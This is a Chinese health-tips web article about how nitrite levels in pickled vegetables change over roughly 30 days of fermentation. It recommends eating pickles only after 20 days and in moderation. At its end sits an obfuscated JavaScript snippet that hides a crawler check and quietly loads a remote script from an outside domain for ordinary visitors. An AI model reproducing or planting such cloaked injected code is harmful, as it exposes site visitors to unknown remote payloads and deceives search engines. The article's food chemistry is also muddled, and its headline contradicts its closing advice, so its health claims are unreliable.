當(dāng)前位置:首頁 > 飲食 > 烹飪技巧 > 正文

新知:泡菜放越久 食用越健康

2016-03-13 02:13:06  來源:360常識網(wǎng)   熱度:
導(dǎo)語:蔬菜經(jīng)過腌制具有了特殊的風(fēng)味,不僅口感獨特,還能延長蔬菜儲存時長,因此深受百姓喜愛。不過泡菜最好當(dāng)做佐餐小菜,可不能長期大量食用。

新知:泡菜放越久 食用越健康

新知:泡菜放越久 食用越健康

中國人食用泡菜已有千百年歷史,蔬菜經(jīng)過腌制具有了特殊的風(fēng)味,不僅口感獨特,還能延長蔬菜儲存時長,因此深受百姓喜愛。不過泡菜中的亞硝酸鹽是強致癌物,但這種物質(zhì)是有生命周期的,當(dāng)泡菜放得越久,使用就越健康。

一、初期1-3天

不論泡菜還是自己家腌制咸菜,腌制后1-3天是亞硝酸鹽含量最高的時期,在此時間段其含量呈現(xiàn)遞增態(tài)勢。所以不要吃1-3天之內(nèi)的“洗澡泡菜”。

二、中期3-20天

一般情況下,從第3天開始,泡菜壇子中的氧氣因為微生物的不斷繁殖而耗盡,蔬菜中的硝酸鹽含量由于被氧化也逐漸減少,所以泡菜中的亞硝酸鹽的含量會逐漸下降并趨于一個相對穩(wěn)定的數(shù)值。但是這需要接近15天的時間。所以腌制中期,一定不能把泡菜蓋子打開,因為氧氣的進入不利于亞硝酸鹽含量的降低。

三、后期20天以后

泡菜腌制20天之后,亞硝酸鹽含量確實會降到很低,變成硝酸鹽。一般認為腌制30天之后比較安全。不過硝酸鹽對人體也沒啥好處,只是沒有亞硝酸鹽的危害大罷了,偶爾改改口味可以,別老吃。

所以,通過這個周期,大家可以了解到,咸菜腌制1-3天時是致癌物含量最高的時間段,應(yīng)該在20天以后再食用。由此可知,長期(超過30)存放的泡菜,是相對健康的!

不過,不論泡菜還是咸菜,其原理都是屬于腌制食品,既然是腌制食品,就不可避免會出現(xiàn)亞硝酸鹽的問題。我們知道亞硝酸鹽是一類較強的致癌物,長期攝入過量亞硝酸鹽,患癌幾率會大大增加。

小編提醒:雖然泡菜可口,但不能忽視致癌物質(zhì)的存在,泡菜最好當(dāng)做佐餐小菜,可不能長期大量食用。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}